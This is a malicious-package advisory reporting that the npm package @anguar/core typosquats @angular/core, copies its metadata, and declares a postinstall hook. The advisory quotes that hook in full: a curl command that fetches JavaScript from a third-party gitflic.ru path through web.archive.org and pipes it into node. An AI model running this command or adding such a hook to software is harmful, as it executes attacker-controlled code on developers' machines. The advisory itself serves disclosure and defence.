MAL-2026-17535

    Dashboard / Malicious Package / MAL-2026-17535

    MAL-2026-17535

    Published: 5 Oct 2026Last Modified: 5 Oct 2026

    Summary: Malicious code in @anguar/core (npm)

    Details: Source: amazon-inspector (428f991afc1ada001d59a546b8290c039dc16c98f6e497346acd87b8c08034eb) Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a gitflic.ru path under the user `hellscripter` (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs `npm install` will execute arbitrary attacker-controlled code on their machine.

    References: https://www.npmjs.com/package/@anguar/core/v/22.2.1

    Affected packages

    Package

    Name: @anguar/core

    Purl: pkg:npm/%40anguar/core

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    22.2.1